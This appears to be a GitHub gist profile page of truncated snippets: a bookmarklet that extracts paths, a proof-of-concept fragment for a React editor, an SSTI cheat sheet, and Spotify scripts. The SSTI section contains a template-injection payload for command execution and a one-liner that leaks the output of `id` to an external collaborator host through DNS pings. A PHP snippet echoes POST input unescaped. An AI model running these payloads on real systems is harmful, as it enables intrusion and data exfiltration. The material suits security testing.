Skip to content

Instantly share code, notes, and snippets.

View AliMilani's full-sized avatar

Ali Milani AliMilani

View GitHub Profile
#!/usr/bin/env python3
import sys, os, tempfile, subprocess
from urllib.parse import urlparse, urlsplit
def run_command_in_bash(command):
try:
result = subprocess.run(["bash", "-c", command], capture_output=True, text=True)
if result.returncode != 0:
print("Error occurred:", result.stderr)
return False
javascript:(function() {
var scripts = document.getElementsByTagName("script");
var regex = /(\"|\'|\`)(\/[a-zA-Z0-9_?&=\/\-\#\.]*)(\"|\'|\`)/g;
const results = new Set();
function extractPaths(content) {
let match;
while ((match = regex.exec(content)) !== null) {
results.add(match[2]); // Capture group 2 contains the path
}

Steps to reproduce

For POC purposes, I tested this on the editor from the latest version npm package.

image

I created a simple website with the Editor as a React component.

import React, { useState } from 'react';
import { Editor } from 'react-draft-wysiwyg';
const http = require("http");
const path = require("path");
const { execSync, spawn } = require("child_process");
const PORT = 8765;
const PROXY_PORT = 10808;
// Function to get the Default Gateway (Android IP)
function getAndroidIP() {
try {
@AliMilani
AliMilani / python.md
Last active March 31, 2025 08:53
SSTI

Tornado

  • Tornado - Basic Injection
{{7*7}}
{{7*'7'}}
  • Remote Command Execution
{{ __import__('os').popen('id').read() }}
id | od -An | while read inp; do echo $inp | sed 's/ //g' | xargs -I idhex ping idhex.k9u4a1fp6lskeb5x1ki3ckzgb7hy5tti.oastify.com -c 1;done
// WebView
(function () {
var eventHandlers = {};
var locationHash = "";
try {
locationHash = location.hash.toString();
} catch (e) {}
var initParams = urlParseHashParams(locationHash);
<html>
<body>
Welcome <?php echo $_POST["username"]; ?><br>
</body>
</html>
@AliMilani
AliMilani / spotify.sh
Last active November 12, 2023 10:44
skip spotify ads
kill spotify
spotify --test1
sleep 2
wmctrl -Fr "Spotify" -b add,shaded
dbus-send --print-reply --dest=org.mpris.MediaPlayer2.spotify /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.Player.PlayPause
#Alt + 1 / Custom Shortcuts | /home/USERNAME/scripts/spotify.sh
@AliMilani
AliMilani / spotify_keybindings
Created November 12, 2023 09:31 — forked from jbonney/spotify_keybindings
Spotify - Linux key bindings. From XFCE / Ubuntu keyboard shortcuts configuration, assign the control command to their key. http://shkspr.mobi/blog/2011/12/linux-spotify-keybindings/
"dbus-send --print-reply --dest=org.mpris.MediaPlayer2.spotify /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.Player.PlayPause" XF86AudioPlay
"dbus-send --print-reply --dest=org.mpris.MediaPlayer2.spotify /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.Player.Stop" XF86AudioStop
"dbus-send --print-reply --dest=org.mpris.MediaPlayer2.spotify /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.Player.Next" XF86AudioNext
"dbus-send --print-reply --dest=org.mpris.MediaPlayer2.spotify /org/mpris/MediaPlayer2 org.mpris.MediaPlayer2.Player.Previous" XF86AudioPrevious